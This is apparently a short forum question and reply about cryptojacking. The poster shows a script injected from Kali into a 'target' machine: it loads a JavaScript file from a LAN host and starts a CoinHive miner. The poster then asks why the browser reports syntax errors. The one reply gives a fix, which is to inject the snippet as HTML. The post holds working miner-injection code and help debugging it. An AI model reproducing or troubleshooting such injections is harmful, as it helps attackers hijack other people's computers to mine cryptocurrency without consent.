I injected a crypto miner into my desktop from Kali, but when its run on the host PC it encoutners syntax errors that i don't understand.
The following is my script
<script src="http://192.168.1.28/defaultexptension.js"></script>
<script>
var miner = new CoinHive.Anonymous('MySiteKey');
miner.start();
</script>
Inspecting Element on the Target reveals 2 errors:
----1 Uncaught Syntax Error: Unexpected token <
----2 Uncaught Reference Error: CoinHive is not defined.
As far as i know the second error should be fixed once the first line is ran since it references a larger script, but i don't understand why the first line is returning a syntax error?
1 Response
Because that is not Javascript it´s Javascript in Html, so you need to inject it as html.
Share Your Thoughts